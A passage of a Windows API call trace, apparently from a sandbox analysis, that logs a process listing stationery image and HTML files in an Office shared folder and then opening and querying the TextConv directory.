lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5015d96, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5015d96, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444c9a01, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dotted_Lines.emf", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x0, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1 [0054.820] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1 [0054.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0054.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0054.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc530f8da, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc530f8da, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45194f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13d8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shorthand.emf", cAlternateFileName="")) returned 1 [0054.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc541a265, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc541a265, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x451bb0f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Small_News.jpg", cAlternateFileName="")) returned 1 [0054.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0054.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0054.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0054.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0054.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0054.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0054.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0054.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x0, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1 [0054.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x0, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1 [0054.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1 [0054.821] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0 [0054.821] GetLastError () returned 0x12 [0054.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.822] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0054.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eea98) returned 1 [0054.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0054.823] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0054.823] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0054.824] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0054.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f3648 [0054.825] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f3648, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9f3648, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0054.825] 